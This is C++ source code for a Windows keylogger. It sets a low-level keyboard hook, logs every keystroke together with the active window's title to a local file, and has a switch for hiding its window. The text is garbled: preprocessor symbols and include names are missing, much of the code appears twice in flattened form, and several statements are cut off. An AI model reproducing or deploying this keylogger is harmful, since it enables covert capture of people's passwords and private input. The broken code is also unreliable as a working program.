// defines whether the window is visible or not
// should be solved with makefile, not in this file
define visible // (visible / invisible)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
define FORMAT 0
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;
// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke);
std::ofstream output_file;
// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
kbdStruct = ((KBDLLHOOKSTRUCT) lParam);
// save to file
Save(kbdStruct.vkCode);
}
}
// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
// Set the hook and set it to use the callback function above
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
LPCWSTR a = L"Failed to install hook!";
LPCWSTR b = L"Error";
MessageBoxW(NULL, a, b, MB_ICONERROR);
}
}
include
include
include
include
include
include
// defines whether the window is visible or not // should be solved with makefile, not in this file
define visible // (visible / invisible)
// defines which format to use for logging // 0 for default, 10 for dec codes, 16 for hex codex
define FORMAT 0
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally // or you will get problems since every function uses this variable. HHOOK _hook;
// This struct contains the data received by the hook callback. As you see in the callback function // it contains the thing you will need: vkCode = virtual key code. KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke); std::ofstream output_file;
// This is the callback function. Consider it the event that is raised when, in this case, // a key is pressed. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { // the action is valid: HC_ACTION. if (wParam == WM_KEYDOWN) { // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. kbdStruct = ((KBDLLHOOKSTRUCT) lParam);
}
void SetHook() { // Set the hook and set it to use the callback function above // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the // function that sets and releases the hook. if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0))) { LPCWSTR a = L"Failed to install hook!"; LPCWSTR b = L"Error"; MessageBoxW(NULL, a, b, MB_ICONERROR); } }
void ReleaseHook() { UnhookWindowsHookEx(_hook); }
int Save(int key_stroke) { std::stringstream output; static std::string lastwindow;
if (foreground) { // get keyboard layout of the thread threadID = GetWindowThreadProcessId(foreground,NULL); layout = GetKeyboardLayout(threadID); } if (foreground) { char window_title[256]; GetWindowTextA(foreground, (LPSTR) window_title, 256);
} int form = FORMAT; switch (form) { case 10: output << '[' << key_stroke << ']'; break; case 16: output << std::hex << "[0x" << key_stroke << ']'; break; default: if (key_stroke >= 65 && key_stroke <= 90) // A-Z { output << (char)key_stroke; } else if (key_stroke >= 48 && key_stroke <= 57) // 0-9 { output << (char)key_stroke; } else { char key_name[256]; int i = GetKeyNameTextA(MapVirtualKeyA(key_stroke, MAPVK_VK_TO_VSC), key_name, sizeof(key_name)); output << '[' << std::string(key_name, i) << ']'; } }
output_file << output.str(); return 0; }
int main() { // Open the file for writing output_file.open("log.txt", std::ios::app); // Set the hook SetHook();
// Keep the console window open MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { }
// Release the hook ReleaseHook();
// Close the file output_file.close();
return 0; }